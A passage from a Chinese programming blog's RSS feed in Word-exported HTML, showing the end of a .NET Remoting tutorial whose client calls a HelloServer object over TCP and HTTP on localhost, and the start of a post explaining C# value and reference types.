						<span style="COLOR: teal">RemotingConfiguration</span>.RegisterWellKnownServiceType(<span style="COLOR: blue">typeof</span>(<span style="COLOR: teal">HelloServer</span>), <span style="COLOR: maroon">"SayHello"</span>, <span style="COLOR: teal">WellKnownObjectMode</span>.Singleton);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>System.<span style="COLOR: teal">Console</span>.WriteLine(<span style="COLOR: maroon">"Enter Any Key,Exit"</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>System.<span style="COLOR: teal">Console</span>.ReadLine();<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: blue">return</span> 0;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">客户机：必须引用<span lang="EN-US">Remoting.dll</span>的装配件，这里用到了反射原理，使得透明代理对象看起来象真实对象，实际是在反射机制下对取了真实对象的元数据。透明代理对象使用真实代理对象把消息发送给通道。<span lang="EN-US"><o:p></o:p></span></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Collections.Generic;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Text;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting.Channels;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting.Channels.Http;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting.Channels.Tcp;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> Remoting;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<o:p> </o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">namespace</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> Client<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>
						<span style="COLOR: blue">class</span>
						<span style="COLOR: teal">Program<o:p></o:p></span>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>
						<span style="COLOR: blue">static</span>
						<span style="COLOR: blue">void</span>
						<st2:place w:st="on">Main</st2:place>(<span style="COLOR: blue">string</span>[] args)<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">TcpChannel</span> channel1 = <span style="COLOR: blue">new</span><span style="COLOR: teal">TcpChannel</span>();<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">ChannelServices</span>.RegisterChannel(channel1, <span style="COLOR: blue">false</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">     </span>
						<span style="mso-spacerun: yes">       </span>
						<span style="COLOR: teal">HelloServer</span> obj1 = (<span style="COLOR: teal">HelloServer</span>)<span style="COLOR: teal">Activator</span>.GetObject(<span style="COLOR: blue">typeof</span>(Remoting.<span style="COLOR: teal">HelloServer</span>), <span style="COLOR: maroon">"tcp://localhost:8085/SayHello"</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: blue">if</span> (obj1 == <span style="COLOR: blue">null</span>)<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">                </span>System.<span style="COLOR: teal">Console</span>.WriteLine(<span style="COLOR: maroon">"Could not locate TCP server"</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<o:p> </o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes"> </span>
						<span style="mso-spacerun: yes">           </span>
						<span style="COLOR: teal">HttpChannel</span> channel2 = <span style="COLOR: blue">new</span><span style="COLOR: teal">HttpChannel</span>();<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">ChannelServices</span>.RegisterChannel(channel2, <span style="COLOR: blue">false</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">HelloServer</span> obj2 = (<span style="COLOR: teal">HelloServer</span>)<span style="COLOR: teal">Activator</span>.GetObject(<span style="COLOR: blue">typeof</span>(Remoting.<span style="COLOR: teal">HelloServer</span>), <span style="COLOR: maroon">"http://localhost:<st1:rtx w:st="on">8086</st1:rtx>/SayHello"</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: blue">if</span> (obj2 == <span style="COLOR: blue">null</span>)<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">                </span>System.<span style="COLOR: teal">Console</span>.WriteLine(<span style="COLOR: maroon">"Could not locate HTTP server"</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">Console</span>.WriteLine(<span style="COLOR: maroon">"Client1 TCP HelloMethod {0}"</span>, obj1.HelloMethod(<span style="COLOR: maroon">"Caveman1"</span>));<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">Console</span>.WriteLine(<span style="COLOR: maroon">"Client2 HTTP HelloMethod {0}"</span>, obj2.HelloMethod(<span style="COLOR: maroon">"Caveman2"</span>));<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">Console</span>.ReadLine();<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">}<o:p></o:p></span>
		</p>
<img src ="http://www.cnitblog.com/eastperson/aggbug/15368.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-16 15:19 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/16/15368.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>引用类型与值类型</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/16/15365.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Wed, 16 Aug 2006 07:06:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/16/15365.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/15365.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/16/15365.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/15365.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/15365.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">2</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、引用类型与值类型</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>2.1 </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值类型</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 2">           </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">整数类型、浮点数类型、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Decimal</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Boolean</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型、</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Character</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类型、结构体类型、枚举类型均为值类型。值类型是在堆栈中分配空间，系统定义值类型例子：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /?>
				<v:rect id="_x0000_s1026" style="MARGIN-TOP: 0px; Z-INDEX: 1; LEFT: 0px; MARGIN-LEFT: 207pt; WIDTH: 99pt; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="小网格" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image001.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US">10<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>int a = 10;<span style="mso-spacerun: yes">           </span>a<span style="mso-spacerun: yes">  </span></span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<v:rect id="_x0000_s1027" style="MARGIN-TOP: 0px; Z-INDEX: 2; LEFT: 0px; MARGIN-LEFT: 207pt; WIDTH: 99pt; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="宽下对角线" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image003.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US">20<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-spacerun: yes">   </span>int b = 20;<span style="mso-spacerun: yes">           </span>b<span style="mso-spacerun: yes">  </span></span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<v:rect id="_x0000_s1034" style="MARGIN-TOP: 0px; Z-INDEX: 9; LEFT: 0px; MARGIN-LEFT: 207pt; WIDTH: 99pt; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="小网格" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image001.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
														<td style="BORDER-RIGHT: #d4d0c8; BORDER-TOP: #d4d0c8; BORDER-LEFT: #d4d0c8; BORDER-BOTTOM: #d4d0c8; BACKGROUND-COLOR: transparent">
																<div>
																		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 31.6pt; mso-char-indent-count: 3.0">
																				<b style="mso-bidi-font-weight: normal">
																						<span lang="EN-US" style="COLOR: red">20<o:p></o:p></span>
																				</b>
																		</p>
																</div>
														</td>
												</tr>
										</tbody>
								</table>
						</v:textbox>
				</v:rect>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-spacerun: yes">   </span>a = b;<span style="mso-spacerun: yes">               </span>a<span style="mso-spacerun: yes">  </span></span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings">
						<span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</span>
				</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<v:rect id="_x0000_s1028" style="MARGIN-TOP: 0px; Z-INDEX: 3; LEFT: 0px; MARGIN-LEFT: 207pt; WIDTH: 99pt; POSITION: absolute; HEIGHT: 23.4pt; TEXT-ALIGN: left" strokecolor="#333" fillcolor="#969696">
						<v:fill type="pattern" o:title="宽下对角线" src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_image003.gif">
						</v:fill>
						<v:textbox>
								<table cellspacing="0" cellpadding="0" width="100%">
										<tbody>
												<tr>
